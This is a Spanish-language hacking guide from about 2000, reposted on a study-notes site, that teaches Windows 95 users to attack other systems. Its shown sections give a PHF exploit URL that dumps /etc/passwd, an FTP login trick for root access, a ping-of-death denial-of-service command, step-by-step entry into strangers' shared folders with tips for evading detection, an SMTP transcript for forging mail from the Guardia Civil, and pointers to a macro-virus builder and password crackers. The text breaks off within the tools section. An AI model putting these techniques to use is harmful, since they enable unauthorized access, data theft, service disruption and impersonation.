La super guia del Hacker - ALIPSO.COM: Monografías, resúmenes, biografias y tesis gratis.
Aprende sobre marketing online, desarrollo de sitios web gratis en Youtube
Suscribite para recibir notificaciones de nuevos videos:
Jueves 28 de Marzo de 2024 |
 

La super guia del Hacker

Imprimir Recomendar a un amigo Recordarme el recurso

Agregado: 12 de ABRIL de 2000 (Por ) | Palabras: 9170 | Votar | Sin Votos | Sin comentarios | Agregar Comentario
Categoría: Apuntes y Monografías > Computación > Seguridad informatica >
Material educativo de Alipso relacionado con super guia del Hacker
  • Biografia y vida de Ignazio Gardella: Breve Biografia de Ignazio Gardella
  • Sociedad de hecho: solicitud de disolucion de la sociedad por no lograrse mayoria en la asamblea para su regulacion o por vencimiento del plazo para su inscripcion.:
  • evolucion del pensamiento penal: el pensamiento penal a traves de los tiempos. acverca de un ensayo sobre su evolucion historica.

  • Enlaces externos relacionados con super guia del Hacker

    LA SUPER GUIA DEL HACKER

    by NOBODY

     

     

    Nota Del Autor: No me hago responsable de la mala utilizacion de la informacion aqui expuesta ya que tan solo es para fines didacticos.

    Esta guia es de distribucion libre excepto para las instituciones gubernamentales que deberan abonar 2000 pts a alguna fundacion para apadrinar niños.

     

    INDICE:

    1 ......................... Que Es Esta Guia Exactamente ?

    2 ......................... Descripcion General De Windows.

    2a ....................... Seguridad En Windows.

    3 ......................... Protocolo TCP/IP y Demas Historias.

    3a ....................... Puertos.

    3b ....................... Ftp.

    3c ....................... Telnet.

    4 ......................... Hacking Basico En Windows.

    4a ....................... Phf.

    4b ....................... Ftp.

    4c ....................... Ping De La Muerte.

    4d ....................... Recursos Compartidos.

    4e ....................... Fake Mail Con El Telnet.

    4f ....................... Cambiando El Entorno.

    4g ....................... Finger.

    4h ....................... Whois.

    4i ....................... Tracert.

    5 ......................... Utilizacion De Tools.

    5a ....................... SkamWerks Lab version 1.1b.

    5b ....................... WaReZ! Version 95.12.31.

    5c ....................... John the Ripper v1.4.

    5d ....................... Gobbler v 2.1.

    5e ....................... Modificando el WS_FTP.

    5f ....................... Sharepasswd.

    5g ....................... Snadboy's Revelation v1.1.

    5h ....................... Keylog95.

    5i ....................... Glide.

    5j ....................... Win95 AnonyMail v 1.0.

    5k ....................... Hacker's Utility, V 1.02.

    5l ....................... Haktek v1.1.

    5m ....................... Claymore Brute Force.

    6 ......................... Medidas De Seguridad.

    6a ....................... Protegiendo Nuestro Ordenador.

    6a1 ..................... Ataques Tipicos a Nuestro Windows.

    6a2 ..................... Encriptacion De Nuestra Informacion.

    6a3 ..................... Eliminar Informacion De Forma Segura.

    6a4 ..................... Eliminacion De Virus.

    6b ....................... Protegiendo Nuestras Acciones.

    6b1 ..................... Borrando Nuestras Huellas.

    6b2 ..................... Encriptando Nuestro Correo.

    7 ......................... Sugerencias Para Un Mejor Hacking.

    8 ......................... Obtener Informacion.

    9 ......................... Despedida.

    9a ....................... Agradecimientos.

     

    1. Que Es Esta Guia Exactamente ?

    Esta guia esta enfocado hacia todo aquel que quiere ser hacker pero no quiere aprender unix o no lo sabe manejar (grave error). Pues por esta razon esta guia esta enfocada a los usuarios de windows, principalmente los de win95. Por el contrario esta guia no se dedicara al NT o Unix, aunque por supuesto se hara referencia a estos sistemas sobre todo cuando son estos mismos Sistemas Operativos en los cuales se centraran nuestros actos, supuestamente legales :)

    Todo esto que digo puede sonar tonterias y puedes p0ensar que en win95 no podras llegar a ser un gran hacker porque es necesario conocer unix, y estoy totalmente de acuerdo, pero solo pretendo dar una oportunidad para hacer sus pinitos a aquellos que solo saber usar win95, yo por mi parte aconsejo aprender unix por varias razones que no viene a cuento en esta guia.

    Con esta guia te convertiras en un magnifico Hacker usando un sistema que no es propenso al hacking. Como es normal al usar win95 estaremos muy limitados en muchos aspectos pero podras aprender por ejemplo, algunos bug que podras usar en tu favor, la utilizacion de diversas herramientas hacker que no estan disponibles generalemente en win95 y ademas a usar los recursos que te ofrece Internet en tu favor, abreviando un poco tanta charla, llegaras a conocer la red de una forma diferente y a manejar win95 de forma distinta a lo conocido hasta ahora.

    2. Descripcion General De Windows.

    Como todos sabemos el windows95 es un popular sistema operativo de la casa Microsoft, el cual es conocido tanto por sus adepto ya que es muy sencillo y vistoso pero al igual tambien es muy conocido por su inseguridad en casi todos sus aspectos, ademas no ofrece tanta versativilidad como otros sistemas operativos. Por ejemplo este es el caso de su "Multitarea" la cual es virtual y no real, si quieres hacer la prueba pon en marcha el defrag y ejecuta otro programa :) y veras esa famosa Multitarea.

    El win95 es un sistema operativo de 32 bits multitarea, que es muy comodo para la gente que busca facilidad, pero no te enga¤es pensando que es un sistema ideal para Internet, puede que para un usuario convencional le sea estupendo pero para un Hacker se queda muy corto de calle, ya que le falta muchos servicios que otros sistemas operativos si traen como el que ya tantas veces he repetido, el Unix (se nota que me encanta??:).

    Aqui os dejo de dar la murga sobre win95 ya que este texto no esta destinado a hablar sobre este sistema sino a usarlo para hackear. Ademas no creo que este contando nada nuevo sobre windows o sea que mejor me callo y si no sabes mucho sobre win95, pues ya sabes comprate un libro.

     

     

    2a. Seguridad En Windows.

    Como todos sabemos la seguridad en win95 es nula, es decir, win95 no tiene seguridad por si mismo, un claro ejemplo de esto que es las entanas que nos piden un password las podemos cerrar pulsando sobre la X o tambien nos basta con pulsar ctrl+atl+supr, con lo que nos salteremo esta ventana sin meter ningun password.

    Por eso para que nuestro ventanas (nombre que se le da a win95:) tendremos que instalarle algun paquete de seguridad disponible por la red, que hay muchos y buenos y lo mejor es que son Freeware (gratis) aunque siempre puedes comprar algun paquete comercial de seguridad, en mi opinion alguna veces una tonteria, ya que nos pueden cobrar un precio abusivo y cuando llega la oportunidad de demostrar su calidad nos falla, ya que no hay nada seguro 100%.

    Proteger nuestro win95 es cosa de cada uno pero tranquilidad, que la cosa no es muy dificil, es cuestion de estar atento a las novedades, en otras palabras estar informado. Mas abajo ya te entereras de estas cosas.

    3. Protocolo TCP/IP y Demas Historias.

    El protocolo TCP/IP, es el mas usado y seguramente no lo sabias, ya que engloba casi todos los servicios que solemos usar como por ejemplo cuando hacemos telnet, mail, ftp o cualquier cosa.

    TCP/IP proviene de Transmission Control Protocol y Internet Protocol respectivamente. Por fortuna para los usuarios de win95, este protocolo ya viene incorporado nativamente en el sistema, al contrario que ocurria con el windows 3.x, el cual lo teniamos que instalar para poder conectar a Internet.

    Como has podido comprobar en realidad son 2 protocolos pero que estan unidos, el primero o sea el TCP es el encargado de las comunicaciones y de la transmision de los paquetes cuando estamos conectados a un servidor. El IP es el encargado de que los paquetes llegen a destino por orden aunque tomen caminos diferentes.

    * Diagrama del TCP *

    cliente -> El cliente le envia una -> servidor

    solicitud de conexion

    espeficicando el puerto

    de conexion al servidor.

    cliente <- El servidor le responde <- servidor

    que conoce su peticion

    de conexion.

    cliente -> El cliente le devuelve <- servidor

    otra vez la peticion y

    el circuito ya esta

    abierto.

    * Diagrama del IP *

    ³Informacion general³Direccion IP³Direccion IP³Datos³

    ³de cabezera. ³de origen ³de destino. ³ ³

    Pues aqui se acaba la explicacion basica de este protocolo, para el que este interesado en profundizar le remito a que se pille el RFC 1180 o un fichero disponible en multitud de servidores, desgraciadamente no te puede asegurar el nombre del fichero ya que lo he encontrado de varias formas pero te dare el nombre que aparece al editarlo, ya que en todos es igual:

    Introduction

    to

    the Internet Protocols

    C R

    C S

    Computer Science Facilities Group

    C I

    L S

    RUTGERS

    The State University of New Jersey

    3 July 1987

    3a. Puertos

    Antes ya os he explicado muy brevemente la comunicacion del protocolo en cuestion. Pues ahora os pongo una extensa lista sobre los distintos puertos y sus servicios correspondientes.

    echo 7/tcp

    echo 7/udp

    discard 9/tcp sink null

    discard 9/udp sink null

    systat 11/tcp

    systat 11/tcp users

    daytime 13/tcp

    daytime 13/udp

    netstat 15/tcp

    qotd 17/tcp quote

    qotd 17/udp quote

    chargen 19/tcp ttytst source

    chargen 19/udp ttytst source

    ftp-data 20/tcp

    ftp 21/tcp

    telnet 23/tcp

    smtp 25/tcp mail

    time 37/tcp timserver

    time 37/udp timserver

    rlp 39/udp resource # resource location

    name 42/tcp nameserver

    name 42/udp nameserver

    whois 43/tcp nicname # usually to sri-nic

    domain 53/tcp nameserver # name-domain server

    domain 53/udp nameserver

    nameserver 53/tcp domain # name-domain server

    nameserver 53/udp domain

    mtp 57/tcp # deprecated

    bootp 67/udp # boot program server

    tftp 69/udp

    rje 77/tcp netrjs

    finger 79/tcp

    link 87/tcp ttylink

    supdup 95/tcp

    hostnames 101/tcp hostname # usually from sri-nic

    iso-tsap 102/tcp

    dictionary 103/tcp webster

    x400 103/tcp # ISO Mail

    x400-snd 104/tcp

    csnet-ns 105/tcp

    pop 109/tcp postoffice

    pop2 109/tcp # Post Office

    pop3 110/tcp postoffice

    portmap 111/tcp

    portmap 111/udp

    sunrpc 111/tcp

    sunrpc 111/udp

    auth 113/tcp authentication

    sftp 115/tcp

    path 117/tcp

    uucp-path 117/tcp

    nntp 119/tcp usenet # Network News Transfer

    ntp 123/udp ntpd ntp # network time protocol (exp)

    nbname 137/udp

    nbdatagram 138/udp

    nbsession 139/tcp

    NeWS 144/tcp news

    sgmp 153/udp sgmp

    tcprepo 158/tcp repository # PCMAIL

    snmp 161/udp snmp

    snmp-trap 162/udp snmp

    print-srv 170/tcp # network PostScript

    vmnet 175/tcp

    load 315/udp

    vmnet0 400/tcp

    sytek 500/udp

    biff 512/udp comsat

    exec 512/tcp

    login 513/tcp

    who 513/udp whod

    shell 514/tcp cmd # no passwords used

    syslog 514/udp

    printer 515/tcp spooler # line printer spooler

    talk 517/udp

    ntalk 518/udp

    efs 520/tcp # for LucasFilm

    route 520/udp router routed

    timed 525/udp timeserver

    tempo 526/tcp newdate

    courier 530/tcp rpc

    conference 531/tcp chat

    rvd-control 531/udp MIT disk

    netnews 532/tcp readnews

    netwall 533/udp # -for emergency broadcasts

    uucp 540/tcp uucpd # uucp daemon

    klogin 543/tcp # Kerberos authenticated rlogin

    kshell 544/tcp cmd # and remote shell

    new-rwho 550/udp new-who # experimental

    remotefs 556/tcp rfs_server rfs# Brunhoff remote filesystem

    rmonitor 560/udp rmonitord # experimental

    monitor 561/udp # experimental

    garcon 600/tcp

    maitrd 601/tcp

    busboy 602/tcp

    acctmaster 700/udp

    acctslave 701/udp

    acct 702/udp

    acctlogin 703/udp

    acctprinter 704/udp

    elcsd 704/udp # errlog

    acctinfo 705/udp

    acctslave2 706/udp

    acctdisk 707/udp

    kerberos 750/tcp kdc # Kerberos authentication--tcp

    kerberos 750/udp kdc # Kerberos authentication--udp

    kerberos_master 751/tcp # Kerberos authentication

    kerberos_master 751/udp # Kerberos authentication

    passwd_server 752/udp # Kerberos passwd server

    userreg_server 753/udp # Kerberos userreg server

    krb_prop 754/tcp # Kerberos slave propagation

    erlogin 888/tcp # Login and environment passing

    kpop 1109/tcp # Pop with Kerberos

    phone 1167/udp

    ingreslock 1524/tcp

    maze 1666/udp

    nfs 2049/udp # sun nfs

    knetd 2053/tcp # Kerberos de-multiplexor

    eklogin 2105/tcp # Kerberos encrypted rlogin

    rmt 5555/tcp rmtd

    mtb 5556/tcp mtbd # mtb backup

    man 9535/tcp # remote man server

    w 9536/tcp

    mantst 9537/tcp # remote man server, testing

    bnews 10000/tcp

    rscs0 10000/udp

    queue 10001/tcp

    rscs1 10001/udp

    poker 10002/tcp

    rscs2 10002/udp

    gateway 10003/tcp

    rscs3 10003/udp

    remp 10004/tcp

    rscs4 10004/udp

    rscs5 10005/udp

    rscs6 10006/udp

    rscs7 10007/udp

    rscs8 10008/udp

    rscs9 10009/udp

    rscsa 10010/udp

    rscsb 10011/udp

    qmaster 10012/tcp

    qmaster 10012/udp

    La verdad es que no te quejaras :) de esta lista. Si quieres mas informacion sobre los puertos con su debida explicacion mirate el RFC 1060.

    3b. Ftp.

    Supongo que a estas alturas sabras lo que es el FTP, File Transfer Protocol o sea Protocolo de Transferencia de Ficheros y como podras observar en el listado de los puertos al FTP le corresponde el 21. Este servicio hay que conocerlo muy bien ya que ademas que nos sirve para subir o bajar ficheros tambien nos puede ayuda en nuestros propositos :), por supuesto el hacking.

    Sino dispones de ningun cliente FTP, el propio win95 lleva incorporado uno, el unico problema es que no es muy vistoso ya que funciona en modo MS-DOS pero es muy versatil y perfecto para nosotros. Para ejecutarlo basta que activemos una ventana MS-DOS y en la linea de comados escribamos FTP y se pondra en modo FTP. Un ejemplo seria esto:

    c:\>ftp <- Escribimos FTP.

    ftp> <- activado el modo FTP.

    Si no sabes manejarlo, escribiendo un "?" o "help" saldran todos los comandos disponibles del FTP, como no viene a cuento no los explicare pero buscando por hay podras hallar informacion de lo que hace cada cosa pero lo mejor es que lo averigues tu solito.

    3c. Telnet.

    Por suerte los usuarios de win95 con el telnet tienen mas suerte o menos segun se mire, ya que el servico de Telnet de win95 que tambien esta incorporado en el sistema, es muy facil de manejar y ademas tiene ventana propia. Por eso si ejecutamos telnet se abrira una ventana y lo unico que tenemos que hacer es ir al menu en la opcion "conectar" y dentro de aquí la de "sistema remoto", entonces se activara otra ventana en la que nos saldra tres opciones, la primera "nombre de host" es donde queremos conectar, "puerto" a que puerto conectamos, por defecto el 23 y por ultimo tenemos "tipo de terminal" que no hace falta cambiarlo.

    El telnet es importante ya que es asi como entramos a una cuenta en un servidor y podremos hacer lo que tengamos permitido en el sistema.

    Logicamente entraremos en una cuenta si tenemos el login y password.

    4. Hacking Basico En Windows.

    Por fin ya se a acabo el latazo de la explicacion de como moverse por win95. Ahora ya podemos empezar a jugar un poco por inet :), siempre por puro placer pero jamas con malos fines.

    En esta seccion os explicare varias maneras de hacking usando el win95 a pelo o sea sin utilizar ninguna herramienta externa.

    4a. Phf.

    La primera tecnica ya es muy conocida y la verdad es que tendremos suerte si nos funciona pero todavia sigue vigente y doy fe de ello }:-) solo hay que saber buscar y tener paciencia.

    Para que esto nos funcione solo tenemos que tener un navegador instalado en nuesto win95, por defecto suele venir el IE o sea que no podras decir que no tienes, siempre y cuando hallas instalado los paquetes extras.

    Lo que tenemos que hacer es ir con nuestro navegador a algun servidor que corra sobre unix (muchos). Conectamos con un servidor en cuestion, www.victima.com, ya estamos viendo su web, llegados aqui, a esa linea le añadimos:

    http://www.victima.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

    Como ya he dicho si todo sale bien nos aparecera el fichero de passwords del servidor con lo que solo nos queda grabarlo en nuestro HD. Por supuesto el PHF tiene muchas variantes por eso te aconsejo que busce algo que profundice en esta tecnica al igual que tambien busce informacion sobre el fichero passwd de unix para comprenderlo.

    4b. Ftp.

    Antes ya te he explicado el funcionamiento del FTP de win95, ahora lo usaremos para sacer el fichero de password de un servidor. Desde una ventana del MS-DOS llamamos al programa FTP y escribimos:

    ftp> open victima.com

    Conect to victima.com

    220 victim.com FTP server ready.

    ftp> quote user ftp

    331 Guest login ok, send ident as password.

    ftp> quote cwd ~root

    530 Please login with USER and PASS.

    ftp> quote pass ftp

    230 Guest login ok, access restrictions apply.

    ftp> dir (o lo que querramos)

    Y como siempre es el caso si todo sale bien estaremos metidos en el sistema como root (en lenguaje unix significa el superusuario, o sea el que controla el servidor). Por desgracia esta tecnica es muy antigua por lo que mas seguro no funcionara pero todo es posible.

    4c. Ping De La Muerte.

    Esta tecnica no es propia de un Hacker sino de un Lamer (no quiero decir Cracker para no ofender a nadie :) ya que unicamente sirve para tirar un servidor o sea que se desconecta de Internet y esto puede representar grandes perdidas a una empresa. Con esto solo os quiero decir que aunque aqui os lo explicare no es cuestion que lo useis por Internet atacando servidores.

    La utilidad Ping sirve principalmente para saber si un servidor esta activo y ademas podemos calcular el trafico en la red segun el tiempo de su respuesta. Basicamente se le envia un paquete a un servidor y este nos contesta, solo que si se le envia un paquete muy grande puede llegar desordenado, por lo que el servidor pide al origen que le vuelva a enviar una parte o la totalidad del paquete, por lo que se produce un datagrama del ping muy grande y producira su caida. Para ejecutar este ataque solo tenemos que escribir:

    c:\>ping -l 65510 victima.com

    Pues esta simple linea es muy destructiva, por lo que tened cuidado y antes de hacer tonterias leed la parte sobre seguridad de la guia.

    4d. Recursos Compartidos.

    Como win95 NO tiene seguridad nos permite colarnos en el disco duro de otra persona por Internet y lo mejor del caso es que esta tecnica nos la proporciona los propios programas del win95. Por supuesto no todo es tan sencillo ya que hay que cumplir unos requisitos. Esto se debe a una mala configuracion del propio usuario al no configurar adecuadamente los recursos compartidos de su red corriendo sobre win95.

    Para colarnos en el HD de otro ordenador debenos tener nuestro ordenador bien configurado, o sea el compartir recursos bien puesto y tambien tener el Netbios instalado. Para configurarlo, tenemos que tener activado la opcion de "compartir ficheros e impresoras" en MIPC->Panel de Control->Red.

    SI por el caso la opcion esta desactivada simplemente pulsamos el boton de "añadir" y añadimos el servicio "Compartir ficheros e impresoras en redes Microsoft". En la misma ventana, debemos tener el "Primer inicio de sesion" en "Cliente para redes Microsoft". Tambien tiene que estar activado el "Cliente para redes Microsoft", que viene por defecto en MIPC->Acceso Telefonico a Redes->Conexion a Inet que usaremos->boton derecho-> propiedades, debiendo estar activada la casilla "conectarse a la red".

    Ahora ya podemos ponernos manos a la obra, entonces volvemos a una ventana del MS-DOS y ejecutamos:

    c:\>nbtstat -A (IP DE LA VICTIMA)

    NetBIOS Remote Machine Name Table

    Name Type Status

    ---------------------------------------------

    VICTIMAMACHINE <00> UNIQUE Registered

    VICTIMAGROUP <00> GROUP Registered

    VICTIMAMACHINE <03> UNIQUE Registered

    VICTIMAMACHINE <20> UNIQUE Registered

    VICTIMAGROUP <1E> GROUP Registered

    MAC Address = 44-45-53-54-00-00

    Cuando ejecutamos este comando nos saldra una tabla como esta y el primer 'UNIQUE' de tipo <00> es el nombre de la victima y como puedes ver la maquina se llama VICTIMAMACHINE.

    Entonces ahora creamos/editamos el archivo LMHOSTS, si por el caso encontrais uno que pone LMHOSTS.SAM no lo toqueis, poniendo la direccion IP y el nombre de la maquina en cuestion, esto seria de la siguiente forma:

    c:\>edit c:\windows\system32\LMHOSTS

    VICTIMAMACHINE

    Entonces cerramos el fichero y desde un ventana del MS-DOS ejecutamos un comando para añadir el ordenador de la victima a nuestro Netbios y esto seria de la siguiente forma:

    c:\>NBTSTAT -R

    Ahora nos interesa saber que recursos comparte la victima y esto tampoco nos traera complicacion alguna:

    c:\>net view \\VICTIMAMACHINE

    Shared resources at \\VICTIMAMACHINE

    Sharename Type Comment

    -----------------------------------------

    BANCO Disk

    Y como podemos observar comparte una carpeta llamada BANCO.

    Ahora ya podemos operar como si fuese una terminal mas en nuestra red local sobre win95. Ya solo nos queda ejecutar el comando que querramos, si por ejemplo queremos ver el contenido, solo tenemos que escribir:

    c:\> dir \\VICTIMAMACHINE\BANCO

    O para leer cualquier fichero de la carpeta:

    c:\> type \\VICTIMAMACHINE\BANCO\CUENTABANCARIA.TXT

    Si queremos conectar al recurso compartido de forma grafica (o sea con una ventana y no seguir usando el MS-DOS), solo tenemos que pulsar INICIO->BUSCAR PC y dentremos el PC remoto pero esto solo es posible si hemos añadido la VICTIMAMACHINE a una unidad de red a la que podamos llamar, deberemos ejecutar:

    c:\>NET USE e: \\MIPC\WINDOWS

    Esta tecnica solo funciona si la maquina remota ejecuta win95 o win 3.11 y ademas comparte las carpetas sin contrase¤a en modo "Acceso a nivel compartido" MIPC->Panel de control->Red | Control de acceso. Si utilizase el "Acceso a nivel de usuario" nuestro grupo debe estar autorizado en esa maquina. Podemos probar a intentar insertar el grupo de nuestra maquina para que este autorizada, esto lo conseguiremos con el Regedit, por desgracia los sistemas win95 y OSR2 que estan ejecutando el Servidor Web Personal de Microsoft desactivan esta posibilidad de acceso remoto tras informar de la conveniencia de hacerlo al usuario, ya que el servidor web obliga a compartir carpetas aun sin tener red local.

    Logicamente un usuario que haya tenido el despiste de conectarse a Internet con carpetas compartidas no toma luego medidas de control sobre quien entra en su maquina. Pero no hay que hacer ilusiones ya que podemos ser pillados si por ejemplo un usuario ejecuta el programa Netwatch, que muestra los usuarios conectados a nuestra computadora en cada momento y por supuesto el nombre de las computadoras por lo que es aconsejable cambiar el nombre de nuestra computadora usando el Regedit. Si nuestra maquina se llama HACKERNOBO cambiamos todas la cadenas donde aperezca este nombre con el Regedit a un nombre menos sospechoso.

    Si no conectamos la VICTIMAMACHINE como una unidad mas a nuestra computadora no nos tendremos que preocupar del Netwatch, asi conseguiremos una cierta seguridad personal ya que lo mas seguro, la VICTIMAMACHINE no se dara cuenta de nuestra entrada. Tambien hay que decir que si la VICTIMAMACHINE quiere apagar su computadora le saldra el mensaje del tipo "hay otros usuarios conectados a su ordenador, si apaga se desconectaran" si ocurre esto seremos pillados.

    4e. Fake Mail Con El Telnet.

    Esta tecnica nos ayuda a suplantar la direccion de correo electronica que querramos :). La verdad es que tiene pocos usos, en mi opinion debido a una serie de razones pero siempre puede servir para gastar una buena broma enviando aun amigo un mail del director de la Universidad diciendo que ha sido expulsado por pirata }:-) y no te cuento si es un mail de la Guardia Civil.

    La verdad es que es muy sencillo de hacer pero por supuesto habra que tomar unas ciertas medidas de seguridad, que ya explicare luego. Lo primero que tenemos que hacer es ejecutar el cliente Telnet (sobre el manejo del Telnet ya lo explique mas arriba) y donde pone "puerto" en vez de poner el puerto 23 pondremos el 25 que corresponde al puerto del mail y esperamos a que nos conectemos a ese puerto, cuando conectemos nos saldra un mensaje y esta esperando a que pulsemoa alguna tecla:

    220 Howdy From mail.airmail.net running Smail 3.1.30.16 (ESMTP)

    [d/o/u/g] ready at Thu, 10 Oct 96 00:03:17 -500 (CDT)

    Muchas veces lo que podemos hacer es escribir "help" y saldran todos los comandos, tambien podemos escribir "echo" y la maquina nos contestara que esta lista. Para escribir un mail hay que seguir una serie de pasos:

    mail from:gc.uco@mad.servicom.es <- ponemos de donde viene.

    El servidor nos contesta:

    250 <gc.uco@mad.servicom.es> ... Sender Okay

    Ahora escribimos:

    rcpt to:nob_ody@xxxxxxxx.com <- a quien se lo enviamos.

    El servidor nos contesta:

    250 <nob_ody@xxxxxxxx.com> ... Recipiant Okay

    Ahora escribimos:

    data

    El servidor nos contesta:

    354 Enter mail, end with "." on a line by itself

    Ahora escribimos:

    To: nob_ody@xxxxxxxx.com

    From: gc.uco@mad.servicom.es

    Subject: Te querremos!!

    Bueno nobody, solo te queremos decir que nos gusta tu trabajo y te

    querremos fichar para el departamento.

    Direccion General de

    la Guardia Civil

    . <- para terminar el mail.

    El servidor nos contesta:

    250 Mail accepted

    Ahora escribimos:

    quit <- ya esta todo listo :)

    Pues ves como es realmente simple!! Pero antes de empezar a jugar con esta tecnica tenemos que asegurarnos que el servidor de mail no regrista nuestro IP, esto lo podremos averiguar si enviamos un mail de prueba a alguna cuenta anomima que tengamos. Si vemos que en la cabecera del mail sale nuestro IP ese servidor no sirve. Hay listas disponibles por Internet sobre servidores que permiten hacer esto.

    4f. Cambiando El Entorno.

    Esta tecnica no es que sea propia del hacking ya que solo sirve para cambiar la pantalla de inicio o la de finalizar windows. Los logos de windows tienen un formato BMP 320X400 pero estan clamuflados en ficheros con extension SYS pero siguen siendo realmente BMP'S.

    El logo del principio de windows (ya sabes el de las nubes) lo podeis encontrar como:

    c:\>logo.sys

    Si no encuentras este fichero, entonces lo que tenemos que hacer es crearlo y grabarlo alli mismo y cuando windows vuelva a reiniciar usara nuestro grafico y si lo volvemos a quitar, usara el de siempre. El logo del final (cuando cierra windows) esta en el directorio windows y lo podemos encontrar como:

    c:\windows>logos.sys

    Logicamente es obligatorio que los graficos que querramos sustituir tengan de tama¤o 320x400 y sean ficheros BMP'S. Conviene que les pongamos el atributo de ocultos, que esto se hace con el comando Attrib, por ejemplo:

    c:\windows>attrib +h logos.sys <- lo oculta.

    c:\windows>attrib -h logos.sys <- lo hace visible.

    4g. Finger.

    La utilidad Finger, muy usada en Unix, en realidad no esta disponible en Win95 pero como somos Hackers nosotros si que somos capaces desde Win95.

    Finger se utiliza para obtener informacion de un servidor. Puede parecer una tonteria pero es util, por ejemplo, podemos empezar a sacar los Login's de los usuarios y empezar a adivinar sus passwords, tambien podemos vigilar al root del servidor (cada cuanto tiempo conecta, cuando fue la ultima vez que estuvo, etc...) y asi muchas cosas.

    La verdad es que para usar el Finger usaremos cualquier navegador, IE o Netscape. Simplemete nos dirigimos a un url un poco especial, es un web que permite hacer Finger a cualquier host y nos deveulve los resultados. Esto se conoce como "Finger Gateway". El url del web es:

    http://www.hgp.med.umich.edu/cgi-bin/finger

    4h. Whois.

    La utilidad Whois, al igual que Finger es muy comun en Unix y no esta disponible en Win95 pero comos somos asi de listos saldremos del apuro.

    Tambien sirve para pedir informacion de un servidor pero no el igual que Finger, ya que se diferencian en el tipo de informacion, el finger se suele utilizar mucho para buscar direcciones de correo mientras que el Whois, para averiguar informacion sobre un servidor en concreto.

    Para usar esta utilidad, ejecutamos el Telnet y nos dirigimos a un host muy especial:

    c:\>telnet whois.internic.net

    Por supuesto Internic, una empresa privada norte ameriacana que se encarga de controlar los dominios de Internet, y podemos usar su base de datos para pedir informacion sobre un servidor.

    Cuando conectemos a la base de datos de Internic, escribimos "Whois nombre_del_servidor" y nos sacara la informacion.

    telnet InterNIC > whois aol.com

    Connecting to the rs Database . . . . . .

    Connected to the rs Database

    America Online (AOL-DOM)

    12100 Sunrise Valley Drive

    Reston, Virginia 22091

    USA

    Domain Name: AOL.COM

    Administrative Contact:

    O'Donnell, David B (DBO3) PMDAtropos@AOL.COM

    703/453-4255 (FAX) 703/453-4102

    Technical Contact, Zone Contact:

    America Online (AOL-NOC) trouble@aol.net

    703-453-5862

    Billing Contact:

    Barrett, Joe (JB4302) BarrettJG@AOL.COM

    703-453-4160 (FAX) 703-453-4001

    Record last updated on 13-Mar-97.

    Record created on 22-Jun-95.

    Domain servers in listed order:

    DNS-01.AOL.COM 152.163.199.42

    DNS-02.AOL.COM 152.163.199.56

    DNS-AOL.ANS.NET 198.83.210.28

    Como vemos hemos pedido informacion sobre AOL.COM, American On-Line. Y esto es lo que nos ha sacado Internic. Al final podemos ver los dominios asociados a AOL. Pues sencillo y muy util, el whois.

    4i. Tracert.

    Esta utilidad que si esta implementada en Win95, nos sirve para calcular el tiempo que tarda un paquete de un servidor hasta otro y ademas podemos saber por cuantos servidores pasa. Muy util para sacar posibles servidores victimas si nos llaman la atencion.

    Para usar esta utilidad, abrimos una ventana MS-DOS y escribimos Tracert, a secas y nos sacara el menu de opciones disponible.

    c:\>tracert

    Usage:tracert [-d] [-h maximum_hops] [-j host-list] [-w timeout] target_name

    Options:

    -d Do not resolve addresses to hostnames.

    -h maximum_hops Maximum number of hops to search for target.

    -j host-list Loose source route along host-list.

    -w timeout Wait timeout milliseconds for each reply.

    Pues como veis, no tiene ningun misterio las opciones del Tracert, por lo que ya aprendereis su uso con la experiencia. Ahora escribimos una direccion IP cuando invocamos al Tracert, de la siguente forma:

    c:\>tracert 198.83.210.28

    Tracing route to dns-aol.ans.net [198.83.210.28]

    over a maximum of 30 hops:

    1 * * * Request timed out.

    2 138 ms 145 ms 135 ms 204.134.78.201

    3 212 ms 191 ms 181 ms glory-cyberport.nm.westnet.net [204.134.78.33]

    4 166 ms 228 ms 189 ms enss365.nm.org [129.121.1.3]

    5 148 ms 138 ms 177 ms h4-0.cnss116.Albuquerque.t3.ans.net [192.103.74.45]

    6 284 ms 296 ms 178 ms f2.t112-0.Albuquerque.t3.ans.net [140.222.112.221]

    7 298 ms 279 ms 277 ms h14.t64-0.Houston.t3.ans.net [140.223.65.9]

    8 238 ms 234 ms 263 ms h14.t104-0.Atlanta.t3.ans.net [140.223.65.18]

    9 301 ms 257 ms 250 ms dns-aol.ans.net [198.83.210.28]

    Trace complete.

    Aqui podeis por todos lo sitios que ha pasado el paquete que hemos enviado al IP 198.83.210.28. Y asi podemos con todos los servidores de Internet.

    5. Utilizacion De Tools.

    En esta seccion os explicare diferentes tools que podeis usar para hacking, por supuesto hay que buscarlas por Internet, no pondre el url para encontrarlas, ya que a lo mejor cuando estas leyendo esta guia ya no existe, pero os dire como se llama el programa asi lo podras buscar ademas esto tambien te servira para que te espabiles y sepas buscar cosas por Internet.

    Logicamente esta guia es para win95 y los programas que explicare seran para win95 pero tambien me veo obligado a explicar varias tools que no son de win95 propiamente sino de MS-DOS pero que son necesarias y ademas corren en modo MS-DOS de win95.

    5a. Skamwerks lab version 1.1b

    Este programa es un util herramienta que nos ayuda a crear de forma rapida virus macro, o sea para el Word. Tiene que estar instalado el Word para que este programa nos funcione.

    Al ejecutar el programa nos aparecera una ventana con 2 botones los caules son las 2 opciones que podemos escoger "Virii Wizard" o "Advanced Users".

    El "virii Wizard" es la opcion, si no sabemos muy bien como crear un virus de macro ya que nos moveremos por varios menus y crearemos un virus de forma rapida y facilmente. La otra opcion, "Advanced Users" es para aquellos que sepan de Word Basic, el lenguaje de programacion del Word, ya que podemos meter codigo Word basic directamente y asi crear un virus a nuestro gusto.

    Como este no es un curso sobre virus, no me voy a enrollar sobre la utilizacion exacta del programa. En mi opinion es un buen programa, en ingles :) programado en C++.

    5b. WaReZ! Version 95.12.31

    Este programa es un cliente FTP que muestra los directorios ocultos en un servidor, util si nos metemos en algun sitio sospechoso. Como ya es costumbre para que nos funcione tenemos que tener instalado el WINSOCK.DLL correctamente.

    Al igual que antes tampoco hay que explicar mucho sobre este programa ya que su Interface es igual que el cliente WS_FTP que suele ser muy familiar para todos, por lo que no encontraremos mucha dificultad en su manejo.

    5c. John the ripper v1.4.

    Esta magnifica tool no es propiamente de win95 pero seria un pecado no hablar de ella, cuando corre sobre win95 de maravilla (bueno, dentro de lo que cabe :). John, como se le conoce, sirve para crackear un fichero unix de password (el conocido etc/passwd, como ya digo aprended algo de unix).

